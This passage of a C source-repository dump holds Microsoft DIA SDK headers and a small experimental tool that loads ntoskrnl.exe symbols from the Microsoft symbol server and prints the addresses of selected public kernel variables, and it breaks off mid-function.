IDiaStackWalker_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaStackWalker_getEnumFrames(This,pHelper,ppEnum) \ ( (This)->lpVtbl -> getEnumFrames(This,pHelper,ppEnum) ) #define IDiaStackWalker_getEnumFrames2(This,cpuid,pHelper,ppEnum) \ ( (This)->lpVtbl -> getEnumFrames2(This,cpuid,pHelper,ppEnum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaStackWalker_INTERFACE_DEFINED__ */ #ifndef __IDiaStackWalkHelper2_INTERFACE_DEFINED__ #define __IDiaStackWalkHelper2_INTERFACE_DEFINED__ /* interface IDiaStackWalkHelper2 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaStackWalkHelper2; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("8222c490-507b-4bef-b3bd-41dca7b5934c") IDiaStackWalkHelper2 : public IDiaStackWalkHelper { public: }; #else /* C style interface */ typedef struct IDiaStackWalkHelper2Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaStackWalkHelper2 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaStackWalkHelper2 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaStackWalkHelper2 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerValue )( IDiaStackWalkHelper2 * This, /* [in] */ DWORD index, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_registerValue )( IDiaStackWalkHelper2 * This, /* [in] */ DWORD index, /* [in] */ ULONGLONG NewVal); HRESULT ( STDMETHODCALLTYPE *readMemory )( IDiaStackWalkHelper2 * This, /* [in] */ enum MemoryTypeEnum type, /* [in] */ ULONGLONG va, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *searchForReturnAddress )( IDiaStackWalkHelper2 * This, /* [in] */ IDiaFrameData *frame, /* [out] */ ULONGLONG *returnAddress); HRESULT ( STDMETHODCALLTYPE *searchForReturnAddressStart )( IDiaStackWalkHelper2 * This, /* [in] */ IDiaFrameData *frame, /* [in] */ ULONGLONG startAddress, /* [out] */ ULONGLONG *returnAddress); HRESULT ( STDMETHODCALLTYPE *frameForVA )( IDiaStackWalkHelper2 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaFrameData **ppFrame); HRESULT ( STDMETHODCALLTYPE *symbolForVA )( IDiaStackWalkHelper2 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *pdataForVA )( IDiaStackWalkHelper2 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *imageForVA )( IDiaStackWalkHelper2 * This, /* [in] */ ULONGLONG vaContext, /* [out] */ ULONGLONG *pvaImageStart); HRESULT ( STDMETHODCALLTYPE *addressForVA )( IDiaStackWalkHelper2 * This, /* [in] */ ULONGLONG va, /* [out] */ DWORD *pISect, /* [out] */ DWORD *pOffset); HRESULT ( STDMETHODCALLTYPE *numberOfFunctionFragmentsForVA )( IDiaStackWalkHelper2 * This, /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [out] */ DWORD *pNumFragments); HRESULT ( STDMETHODCALLTYPE *functionFragmentsForVA )( IDiaStackWalkHelper2 * This, /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [in] */ DWORD cFragments, /* [out] */ ULONGLONG *pVaFragment, /* [out] */ DWORD *pLenFragment); END_INTERFACE } IDiaStackWalkHelper2Vtbl; interface IDiaStackWalkHelper2 { CONST_VTBL struct IDiaStackWalkHelper2Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaStackWalkHelper2_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaStackWalkHelper2_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaStackWalkHelper2_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaStackWalkHelper2_get_registerValue(This,index,pRetVal) \ ( (This)->lpVtbl -> get_registerValue(This,index,pRetVal) ) #define IDiaStackWalkHelper2_put_registerValue(This,index,NewVal) \ ( (This)->lpVtbl -> put_registerValue(This,index,NewVal) ) #define IDiaStackWalkHelper2_readMemory(This,type,va,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> readMemory(This,type,va,cbData,pcbData,pbData) ) #define IDiaStackWalkHelper2_searchForReturnAddress(This,frame,returnAddress) \ ( (This)->lpVtbl -> searchForReturnAddress(This,frame,returnAddress) ) #define IDiaStackWalkHelper2_searchForReturnAddressStart(This,frame,startAddress,returnAddress) \ ( (This)->lpVtbl -> searchForReturnAddressStart(This,frame,startAddress,returnAddress) ) #define IDiaStackWalkHelper2_frameForVA(This,va,ppFrame) \ ( (This)->lpVtbl -> frameForVA(This,va,ppFrame) ) #define IDiaStackWalkHelper2_symbolForVA(This,va,ppSymbol) \ ( (This)->lpVtbl -> symbolForVA(This,va,ppSymbol) ) #define IDiaStackWalkHelper2_pdataForVA(This,va,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> pdataForVA(This,va,cbData,pcbData,pbData) ) #define IDiaStackWalkHelper2_imageForVA(This,vaContext,pvaImageStart) \ ( (This)->lpVtbl -> imageForVA(This,vaContext,pvaImageStart) ) #define IDiaStackWalkHelper2_addressForVA(This,va,pISect,pOffset) \ ( (This)->lpVtbl -> addressForVA(This,va,pISect,pOffset) ) #define IDiaStackWalkHelper2_numberOfFunctionFragmentsForVA(This,vaFunc,cbFunc,pNumFragments) \ ( (This)->lpVtbl -> numberOfFunctionFragmentsForVA(This,vaFunc,cbFunc,pNumFragments) ) #define IDiaStackWalkHelper2_functionFragmentsForVA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment) \ ( (This)->lpVtbl -> functionFragmentsForVA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaStackWalkHelper2_INTERFACE_DEFINED__ */ #ifndef __IDiaStackWalker2_INTERFACE_DEFINED__ #define __IDiaStackWalker2_INTERFACE_DEFINED__ /* interface IDiaStackWalker2 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaStackWalker2; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("7c185885-a015-4cac-9411-0f4fb39b1f3a") IDiaStackWalker2 : public IDiaStackWalker { public: }; #else /* C style interface */ typedef struct IDiaStackWalker2Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaStackWalker2 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaStackWalker2 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaStackWalker2 * This); HRESULT ( STDMETHODCALLTYPE *getEnumFrames )( IDiaStackWalker2 * This, /* [in] */ IDiaStackWalkHelper *pHelper, /* [out] */ IDiaEnumStackFrames **ppEnum); HRESULT ( STDMETHODCALLTYPE *getEnumFrames2 )( IDiaStackWalker2 * This, /* [in] */ enum CV_CPU_TYPE_e cpuid, /* [in] */ IDiaStackWalkHelper *pHelper, /* [out] */ IDiaEnumStackFrames **ppEnum); END_INTERFACE } IDiaStackWalker2Vtbl; interface IDiaStackWalker2 { CONST_VTBL struct IDiaStackWalker2Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaStackWalker2_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaStackWalker2_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaStackWalker2_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaStackWalker2_getEnumFrames(This,pHelper,ppEnum) \ ( (This)->lpVtbl -> getEnumFrames(This,pHelper,ppEnum) ) #define IDiaStackWalker2_getEnumFrames2(This,cpuid,pHelper,ppEnum) \ ( (This)->lpVtbl -> getEnumFrames2(This,cpuid,pHelper,ppEnum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaStackWalker2_INTERFACE_DEFINED__ */ /* Additional Prototypes for ALL interfaces */ /* end of Additional Prototypes */ #ifdef __cplusplus } #endif #endif ================================================ FILE: DIA/inc/msdia/include/diacreate.h ================================================ // diacreate.h - creation helper functions for DIA initialization //----------------------------------------------------------------- // // Copyright Microsoft Corporation. All Rights Reserved. // //--------------------------------------------------------------- #ifndef _DIACREATE_H_ #define _DIACREATE_H_ // // Create a dia data source object from the dia dll (by dll name - does not access the registry). // HRESULT STDMETHODCALLTYPE NoRegCoCreate( const __wchar_t *dllName, REFCLSID rclsid, REFIID riid, void **ppv); #ifndef _NATIVE_WCHAR_T_DEFINED #ifdef __cplusplus HRESULT STDMETHODCALLTYPE NoRegCoCreate( const wchar_t *dllName, REFCLSID rclsid, REFIID riid, void **ppv) { return NoRegCoCreate( (const __wchar_t *)dllName, rclsid, riid, ppv ); } #endif #endif // // Create a dia data source object from the dia dll (looks up the class id in the registry). // HRESULT STDMETHODCALLTYPE NoOleCoCreate( REFCLSID rclsid, REFIID riid, void **ppv); #endif ================================================ FILE: DIA/src/callback.c ================================================ /*+================================================================================================ Module Name: callback.c Author : Paul L. (@am0nsec) Origin : https://github.com/am0nsec/wspe/ Copyright : This project has been released under the GNU Public License v3 license. Abstract: Abstraction of the Microsoft Debug Interface Access (DIA) SDK. In this case this module contains the code for the CCallback COM interface implementation when loading PDB from a PE EXE file. Documentation available at: https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/debug-interface-access-sdk Most of the code is based on the Dia2Dump code sample shipped with the MS DIA SDK. ================================================================================================+*/ #include #include #include "callback.h" // 4688a074-5a4d-4486-aea8-7b90711d9f7c CONST IID IID_IDiaLoadCallback2 = { 0x4688a074, 0x5a4d, 0x4486, { 0xae, 0xa8, 0x7b, 0x90, 0x71, 0x1d, 0x9f, 0x7c } }; // C32ADB82-73F4-421b-95D5-A4706EDF5DBE CONST IID IID_IDiaLoadCallback = { 0xC32ADB82, 0x73F4, 0x421b, { 0x95, 0xD5, 0xA4, 0x70, 0x6E, 0xDF, 0x5D, 0xBE } }; // Global handle variable used to allocate/free executable heap memory. HANDLE g_HeapHandle = INVALID_HANDLE_VALUE; HRESULT STDMETHODCALLTYPE QueryInterface( IDiaLoadCallback2* This, REFIID rid, PVOID* ppUnk ) { if (ppUnk == NULL) { return E_INVALIDARG; } if (IsEqualIID(rid, &IID_IDiaLoadCallback2)) *ppUnk = (IDiaLoadCallback2*)This; else if (IsEqualIID(rid, &IID_IDiaLoadCallback)) *ppUnk = (IDiaLoadCallback*)This; else if (IsEqualIID(rid, &IID_IUnknown)) *ppUnk = (IUnknown*)This; else *ppUnk = NULL; if (*ppUnk != NULL) { This->lpVtbl->AddRef(This); return S_OK; } return E_NOINTERFACE; } ULONG STDMETHODCALLTYPE AddRef( IDiaLoadCallback2* This ) { DiaCallback* Callback = (DiaCallback*)This; return ++Callback->m_nRefCount; } ULONG STDMETHODCALLTYPE Release( IDiaLoadCallback2* This ) { DiaCallback* Callback = (DiaCallback*)This; if ((--Callback->m_nRefCount) == 0) { DiaCallbackHelper(FALSE, (PVOID)&This); return 0x00; } return Callback->m_nRefCount; } HRESULT STDMETHODCALLTYPE NotifyDebugDir( IDiaLoadCallback2* This, BOOL fExecutable, DWORD cbData, BYTE data[] // really a const struct _IMAGE_DEBUG_DIRECTORY * ) { return S_OK; } HRESULT STDMETHODCALLTYPE NotifyOpenDBG( IDiaLoadCallback2* This, LPCOLESTR dbgPath, HRESULT resultCode ) { return S_OK; } HRESULT STDMETHODCALLTYPE NotifyOpenPDB( IDiaLoadCallback2* This, LPCOLESTR pdbPath, HRESULT resultCode ) { if (SUCCEEDED(resultCode)) { wprintf(L"[*] Open: %s\r\n", pdbPath); } return S_OK; } HRESULT STDMETHODCALLTYPE RestrictRegistryAccess( IDiaLoadCallback2* This ) { // return hr != S_OK to prevent querying the registry for symbol search paths return S_OK; } HRESULT STDMETHODCALLTYPE RestrictSymbolServerAccess( IDiaLoadCallback2* This ) { // return hr != S_OK to prevent accessing a symbol server return S_OK; } HRESULT STDMETHODCALLTYPE RestrictOriginalPathAccess( IDiaLoadCallback2* This ) { // return hr != S_OK to prevent querying the registry for symbol search paths return S_OK; } HRESULT STDMETHODCALLTYPE RestrictReferencePathAccess( IDiaLoadCallback2* This ) { // return hr != S_OK to prevent accessing a symbol server return S_OK; } HRESULT STDMETHODCALLTYPE RestrictDBGAccess( IDiaLoadCallback2* This ) { return S_OK; } HRESULT STDMETHODCALLTYPE RestrictSystemRootAccess( IDiaLoadCallback2* This ) { return S_OK; } static CONST IDiaLoadCallback2Vtbl CallbackVirtualTable = { // IUnknown QueryInterface, AddRef, Release, // IDiaLoadCallback NotifyDebugDir, NotifyOpenDBG, NotifyOpenPDB, RestrictRegistryAccess, RestrictSymbolServerAccess, // IDiaLoadCallback2 RestrictOriginalPathAccess, RestrictReferencePathAccess, RestrictDBGAccess, RestrictSystemRootAccess }; _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE DiaCallbackHelper( _In_ BOOLEAN Initialise, _Inout_ PVOID** Callback ) { if (Callback == NULL) return E_FAIL; // Create the structure for the callback if (Initialise) { if (g_HeapHandle != INVALID_HANDLE_VALUE) return E_FAIL; // Create executable heap g_HeapHandle = HeapCreate( HEAP_CREATE_ENABLE_EXECUTE, sizeof(IDiaLoadCallback2Vtbl) + sizeof(DiaCallback), 0x1000 ); if (g_HeapHandle == INVALID_HANDLE_VALUE) return E_FAIL; // Allocate memory in the new heap DiaCallback* Buffer = HeapAlloc(g_HeapHandle, HEAP_ZERO_MEMORY, sizeof(DiaCallback) + sizeof(IDiaLoadCallback2Vtbl)); if (Buffer == NULL) { HeapDestroy(g_HeapHandle); return E_FAIL; } PVOID cstruct = HeapAlloc(g_HeapHandle, HEAP_ZERO_MEMORY, sizeof(DiaCallback));; PVOID vtable = NULL; // Assemble everything Buffer->m_nRefCount = 0x00; Buffer->lpVtbl = (IDiaLoadCallback2*)&CallbackVirtualTable; *Callback = (PVOID)Buffer; return S_OK; } // Delete the structure for the callback else { if (g_HeapHandle == INVALID_HANDLE_VALUE || Callback == NULL) return E_FAIL; // Check that the reference count is zero DiaCallback* src = (DiaCallback*)*Callback; if (src->m_nRefCount != 0x00) return E_FAIL; // Free the memory and destroy the executable heap HeapFree(g_HeapHandle, 0x00, src); HeapDestroy(g_HeapHandle); g_HeapHandle = INVALID_HANDLE_VALUE; } return E_FAIL; } ================================================ FILE: DIA/src/dirutil.c ================================================ /*+================================================================================================ Module Name: dirutil.c Author : Paul L. (@am0nsec) Origin : https://github.com/am0nsec/wspe/ Copyright : This project has been released under the GNU Public License v3 license. Abstract: Windows Directory utility code. Used to change directory to the "PDB" folder and get the correct symbol server search path. ================================================================================================+*/ #include #include #include "dirutil.h" // Directory before changing. PWCHAR g_DefaultDirectory = NULL; // Directory after changing. PWCHAR g_NewDirectory = NULL; // The symbol server search path. PWCHAR g_SymSrvSearchPath = NULL; // Path to the msdiaXXX.dll module. PWCHAR g_ModulePath = NULL; _Use_decl_annotations_ HRESULT ChangeDirectory( _In_ PWCHAR Directory, _In_ DWORD Size ) { // Get the current path DWORD dwCurrentDirectory = GetCurrentDirectoryW(0x00, NULL); DWORD dwBuffer = 0x100; while (dwCurrentDirectory > dwBuffer) dwBuffer += 0x100; // Allocate memory for the full current path g_DefaultDirectory = calloc(1, dwBuffer); if (g_DefaultDirectory == NULL) return E_OUTOFMEMORY; GetCurrentDirectoryW(dwBuffer, g_DefaultDirectory); // Allocate memory for the new path g_NewDirectory = calloc(1, dwBuffer); if (g_NewDirectory == NULL) { free(g_DefaultDirectory); g_DefaultDirectory = NULL; return E_FAIL; } // Make sure we can build the path if (FAILED(StringCbPrintfW(g_NewDirectory, dwBuffer, L"%s\\%s\\\0", g_DefaultDirectory, Directory))) { free(g_NewDirectory); free(g_DefaultDirectory); g_NewDirectory = NULL; g_DefaultDirectory = NULL; return E_FAIL; } // Set the path if (!SetCurrentDirectoryW(g_NewDirectory)) { free(g_NewDirectory); free(g_DefaultDirectory); g_NewDirectory = NULL; g_DefaultDirectory = NULL; return E_FAIL; } return S_OK; } _Use_decl_annotations_ PWCHAR GetSymSrvSearchPath( VOID ) { if (g_SymSrvSearchPath != NULL) return g_SymSrvSearchPath; // Local Stack Variables CONST PWCHAR Sym = L"symsrv"; CONST PWCHAR Dll = L"symsrv.dll"; CONST PWCHAR Web = L"https://msdl.microsoft.com/download/symbols"; // Calculate the size of the buffer to allocate DWORD dwBuffer = 0x100; DWORD dwSize = lstrlenW(Sym) + lstrlenW(Dll) + lstrlenW(Web) + (sizeof(WCHAR) * 4) + lstrlenW(g_NewDirectory); while (dwBuffer < dwSize) dwBuffer += 0x100; g_SymSrvSearchPath = calloc(1, dwBuffer); if (g_SymSrvSearchPath == NULL) return NULL; // Assemble the whole strign now HRESULT Result = StringCbPrintfW( g_SymSrvSearchPath, dwBuffer, L"%s*%s*%s*%s\0", Sym, Dll, g_NewDirectory, Web ); if (FAILED(Result)) { free(g_SymSrvSearchPath); g_SymSrvSearchPath = NULL; } // Path value by reference return g_SymSrvSearchPath; } PWCHAR GetMsdiaModulePath( VOID ) { // Get current directory DWORD dwCurrentDirectory = GetCurrentDirectoryW(0x00, NULL); DWORD dwBuffer = 0x100; while (dwCurrentDirectory > dwBuffer) dwBuffer += 0x100; // Allocate memory for the current path PWCHAR CurrentDirectory = calloc(1, dwBuffer); if (CurrentDirectory == NULL) return E_OUTOFMEMORY; GetCurrentDirectoryW(dwBuffer, CurrentDirectory); // Calculate final size CONST PWCHAR Dir = L"msdia"; CONST PWCHAR Dll = L"msdia140.dll"; DWORD dwSize = lstrlenW(Dir) + lstrlenW(Dll) + (sizeof(WCHAR) * 4) + dwCurrentDirectory; while (dwBuffer < dwSize) dwBuffer += 0x100; // Assemble the path g_ModulePath = calloc(1, dwBuffer); if (g_ModulePath == NULL) return NULL; // Assemble the whole strign now HRESULT Result = StringCbPrintfW( g_ModulePath, dwBuffer, L"%s\\%s\\%s\0", CurrentDirectory, Dir, Dll ); if (FAILED(Result)) { free(g_ModulePath); g_ModulePath = NULL; } // Path value by reference return g_ModulePath; } _Use_decl_annotations_ HRESULT ResetDirectory( VOID ) { // Change directory HRESULT Result = S_OK; if (g_DefaultDirectory != NULL) Result = SetCurrentDirectoryW(g_DefaultDirectory) == TRUE ? S_OK : E_FAIL; // Free memory if (g_DefaultDirectory != NULL) { free(g_DefaultDirectory); g_DefaultDirectory = NULL; } if (g_SymSrvSearchPath != NULL) { free(g_SymSrvSearchPath); g_SymSrvSearchPath = NULL; } if (g_NewDirectory != NULL) { free(g_NewDirectory); g_NewDirectory = NULL; } if (g_ModulePath != NULL) { free(g_ModulePath); g_ModulePath = NULL; } return Result; } ================================================ FILE: DIA/src/interface.c ================================================ /*+================================================================================================ Module Name: interface.c Author : Paul L. (@am0nsec) Origin : https://github.com/am0nsec/wspe/ Copyright : This project has been released under the GNU Public License v3 license. Abstract: Abstraction of the Microsoft Debug Interface Access (DIA) SDK. Documentation available at: https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/debug-interface-access-sdk Most of the code is based on the Dia2Dump code sample shipped with the MS DIA SDK. ================================================================================================+*/ #include #include #include "interface.h" // e6756135-1e65-4d17-8576-610761398c3c CONST CLSID CLSID_DiaSource = { 0xe6756135, 0x1e65, 0x4d17, { 0x85, 0x76, 0x61, 0x07, 0x61, 0x39, 0x8c, 0x3c } }; // 79F1BB5F-B66E-48e5-B6A9-1545C323CA3D CONST IID IID_IDiaDataSource = { 0x79F1BB5F, 0xB66E, 0x48e5, { 0xB6, 0xA9, 0x15, 0x45, 0xC3, 0x23, 0xCA, 0x3D } }; // Global Data Source COM interface IDiaDataSource* g_DataSource = NULL; // Global Session COM interface IDiaSession* g_Session = NULL; // Global Symbol COM interface IDiaSymbol* g_GlobalSymbol = NULL; // Global Callback COM interface IDiaLoadCallback2* g_Callback = NULL; _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE DiaInitialise( _In_ PWCHAR DllName ) { // Check if already initialised HRESULT Result = S_OK; if (g_DataSource != NULL) return Result; // Initialise COM runtime if (!SUCCEEDED(CoInitialize(NULL))) return E_FAIL; // Load the module HMODULE hModule = LoadLibraryExW(GetMsdiaModulePath(), NULL, LOAD_WITH_ALTERED_SEARCH_PATH); if (hModule == NULL) return E_FAIL; ResetDirectory(); // Get exported routine TDllGetClassObject DllGetClassObject = (TDllGetClassObject)GetProcAddress(hModule, "DllGetClassObject"); if (DllGetClassObject == NULL) return GetLastError(); // Create Instance of the IDiaDataSource COM interface IClassFactory* ClassFactory = NULL; if (SUCCEEDED(DllGetClassObject(&CLSID_DiaSource, &IID_IClassFactory, (LPVOID*)&ClassFactory))) { Result = ClassFactory->lpVtbl->CreateInstance(ClassFactory, NULL, &IID_IDiaDataSource, &g_DataSource); if (SUCCEEDED(Result)) ClassFactory->lpVtbl->AddRef(ClassFactory); return Result; } else { HRESULT Result = GetLastError(); if (Result > 0x00) Result |= REASON_LEGACY_API; return Result; } } _Use_decl_annotations_ VOID STDMETHODCALLTYPE DiaUninitialise() { if (g_GlobalSymbol != NULL) { g_GlobalSymbol->lpVtbl->Release(g_GlobalSymbol); g_GlobalSymbol = NULL; } if (g_Session != NULL) { g_Session->lpVtbl->Release(g_Session); g_Session = NULL; } if (g_DataSource != NULL) { g_DataSource->lpVtbl->Release(g_DataSource); g_DataSource = NULL; } if (g_Callback != NULL) { g_Callback->lpVtbl->Release(g_Callback); g_Callback = NULL; } CoUninitialize(); } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE DiaLoadDataFromPdb( _In_ PWCHAR FilePath ) { // Check if already initialised if (g_DataSource == NULL) return E_FAIL; HRESULT Result = S_OK; // Extract the file extension from the path PWCHAR FileExtension = calloc(1, MAX_PATH * sizeof(WCHAR)); if (FileExtension == NULL) return E_OUTOFMEMORY; _wsplitpath_s(FilePath, NULL, 0, NULL, 0, NULL, 0, FileExtension, MAX_PATH); // File is a ".PDB" if (!_wcsicmp(FileExtension, L".pdb")) { free(FileExtension); Result = g_DataSource->lpVtbl->loadDataFromPdb(g_DataSource, FilePath); if (FAILED(Result)) { wprintf(L"[-] Failed to load data from the PDB file (%08X).\r\n", Result); return Result; } } // File is a ".EXE" else if(!_wcsicmp(FileExtension, L".exe")) { free(FileExtension); // Create the callback COM implementation if (FAILED(DiaCallbackHelper(TRUE, (PVOID)&g_Callback))) { wprintf(L"[-] Failed to create the DIA Callback.\r\n"); return E_FAIL; } g_Callback->lpVtbl->AddRef(g_Callback); // Forge the Symbol search path ChangeDirectory(L"pdb", 4); // Load the PDB from Microsoft symbol server Result = g_DataSource->lpVtbl->loadDataForExe( g_DataSource, FilePath, GetSymSrvSearchPath(), (PVOID)g_Callback ); if (FAILED(Result)) { wprintf(L"[-] Failed to load PDB file (%08X).\r\n", Result); ResetDirectory(); g_Callback->lpVtbl->Release(g_Callback); return Result; } ResetDirectory(); } // Open session to access symbols Result = g_DataSource->lpVtbl->openSession(g_DataSource, &g_Session); if (FAILED(Result)) { wprintf(L"[-] Failed to open session (%08X).\r\n", Result); return Result; } // Get the global scope Result = g_Session->lpVtbl->get_globalScope(g_Session, &g_GlobalSymbol); if (FAILED(Result)) { wprintf(L"[-] Failed to get global scope (%08X).\r\n", Result); return Result; } return Result; } _Use_decl_annotations_ HRESULT STDMETHODCALLTYPE DiaFindPublicSymbols( _In_ PUBLIC_SYMBOL PublicSymbols[], _In_ DWORD Elements ) { // Check if everything has been properly initialised. if (g_DataSource == NULL || g_Session == NULL || g_GlobalSymbol == NULL) return E_FAIL; // Enumerates the various symbols contained in the data source. IDiaEnumSymbols* EnumSymbols = NULL; HRESULT Result = g_GlobalSymbol->lpVtbl->findChildren( g_GlobalSymbol, SymTagPublicSymbol, NULL, nsNone, &EnumSymbols ); if (FAILED(Result)) { wprintf(L"[-] Failed to load symbol enumerator (%08X).\r\n", Result); return Result; } // Parse all symbols IDiaSymbol* Symbol = NULL; ULONG celt = 0x00; while (SUCCEEDED(EnumSymbols->lpVtbl->Next(EnumSymbols, 0x01, &Symbol, &celt)) && (celt == 1)) { DWORD dwTag = 0x00; DWORD dwRVA = 0x00; DWORD dwOff = 0x00; DWORD dwSeg = 0x00; BSTR Name = NULL; // Make sure we have a tag for the symbol if (FAILED(Symbol->lpVtbl->get_symTag(Symbol, &dwTag))) goto next_symbol; // Get the name of the global variable if (SUCCEEDED(Symbol->lpVtbl->get_name(Symbol, &Name))) { // Find the symbol BOOLEAN Found = FALSE; DWORD Index = 0x00; for (DWORD cx = 0x00; cx < Elements; cx++) { if (wcscmp(PublicSymbols[cx].Name, Name) == 0x00) { Index = cx; Found = TRUE; break; } } if (!Found) goto next_symbol; // Get the Relative Virtual Address (RVA), the offset and section if (FAILED(Symbol->lpVtbl->get_relativeVirtualAddress(Symbol, &dwRVA))) dwRVA = 0xFFFFFFFF; Symbol->lpVtbl->get_addressSection(Symbol, &dwSeg); Symbol->lpVtbl->get_addressOffset(Symbol, &dwOff); PublicSymbols[Index].dwTag = dwTag; PublicSymbols[Index].dwRVA = dwRVA; PublicSymbols[Index].dwOff = dwOff; PublicSymbols[Index].dwSeg = dwSeg; // Release current interface next_symbol: Symbol->lpVtbl->Release(Symbol); } } EnumSymbols->lpVtbl->Release(EnumSymbols); return S_OK; } ================================================ FILE: DIA/src/main.c ================================================ /*+================================================================================================ Module Name: main.c Author : Paul L. (@am0nsec) Origin : https://github.com/am0nsec/wspe/ Copyright : This project has been released under the GNU Public License v3 license. Abstract: Application entry point. ================================================================================================+*/ #include #include "interface.h" // Macro to make the code less bloated #define EXIT_ON_FAILURE(ex) if (!SUCCEEDED(ex)) { return EXIT_FAILURE; } #define ADD_TABLE_ENTRY(str) { 0x00, 0x00, 0x00, 0x00, str } VOID SortTable( _In_ PUBLIC_SYMBOL PublicSymbols[], _In_ DWORD Elements ) { // Sort with segment for (DWORD cx = 0x00; cx < (Elements - 1); cx++) { for (DWORD dx = 0x00; dx < (Elements - cx - 1); dx++) { if (PublicSymbols[dx].dwSeg > PublicSymbols[dx + 1].dwSeg) { PUBLIC_SYMBOL Temp = PublicSymbols[dx]; RtlCopyMemory(&Temp, &PublicSymbols[dx], sizeof(PUBLIC_SYMBOL)); RtlCopyMemory(&PublicSymbols[dx], &PublicSymbols[dx + 1], sizeof(PUBLIC_SYMBOL)); RtlCopyMemory(&PublicSymbols[dx + 1], &Temp, sizeof(PUBLIC_SYMBOL)); } } } // Sort with RVA for (DWORD cx = 0x00; cx < (Elements - 1); cx++) { for (DWORD dx = 0x00; dx < (Elements - cx - 1); dx++) { if (PublicSymbols[dx].dwRVA > PublicSymbols[dx + 1].dwRVA) { PUBLIC_SYMBOL Temp = PublicSymbols[dx]; RtlCopyMemory(&Temp, &PublicSymbols[dx], sizeof(PUBLIC_SYMBOL)); RtlCopyMemory(&PublicSymbols[dx], &PublicSymbols[dx + 1], sizeof(PUBLIC_SYMBOL)); RtlCopyMemory(&PublicSymbols[dx + 1], &Temp, sizeof(PUBLIC_SYMBOL)); } } } } /// /// Application Entry Point. /// /// Exit status code. INT main(VOID) { // Banner wprintf(L"=================================================================\r\n"); wprintf(L"Module Name: Microsoft Debug Interface Access (DIA) Experiments \r\n"); wprintf(L"Author : Paul L. (@am0nsec) \r\n"); wprintf(L"Origin : https://github.com/am0nsec/wspe/ \r\n\r\n"); wprintf(L"Tested OS : Windows 10 (20h2) - 19044.1706 \r\n"); wprintf(L"=================================================================\r\n\r\n"); // Initialise COM runtime and get IDiaDataSource interface. wprintf(L"[*] Initialise MSDIA \r\n"); EXIT_ON_FAILURE(DiaInitialise(L"msdia140.dll")); // Load the data from the PDB wprintf(L"[*] Open PDB from EXE: C:\\WINDOWS\\System32\\ntoskrnl.exe\r\n"); EXIT_ON_FAILURE(DiaLoadDataFromPdb(L"C:\\WINDOWS\\System32\\ntoskrnl.exe")); // Parse all public symbols PUBLIC_SYMBOL Symbols[] = { // Memory Manager variables ADD_TABLE_ENTRY(L"MiState"), ADD_TABLE_ENTRY(L"MiVisibleState"), ADD_TABLE_ENTRY(L"MmPteBase"), ADD_TABLE_ENTRY(L"MmSizeOfNonPagedPoolInBytes"), ADD_TABLE_ENTRY(L"MmHighestUserAddress"), ADD_TABLE_ENTRY(L"PoolTrackTable"), ADD_TABLE_ENTRY(L"ExPoolTagTables"), ADD_TABLE_ENTRY(L"ExpPoolBlockShift"), ADD_TABLE_ENTRY(L"ExpSessionPoolTrackTable"), ADD_TABLE_ENTRY(L"ExpSessionPoolTrackTableSize"), // Loader variables ADD_TABLE_ENTRY(L"PsLoadedModuleList"), // Process Manager variables ADD_TABLE_ENTRY(L"PsActiveProcessHead"), // General kernel info ADD_TABLE_ENTRY(L"KeNumberProcessors") }; EXIT_ON_FAILURE(DiaFindPublicSymbols(Symbols, _ARRAYSIZE(Symbols))); // Display everything to console SortTable(Symbols, _ARRAYSIZE(Symbols)); wprintf(L"\r\n"); wprintf(L"Found Segment RVA Offset Name\r\n"); wprintf(L"----- ------- --- ------ ----\r\n"); DWORD Found = 0x00; for (DWORD cx = 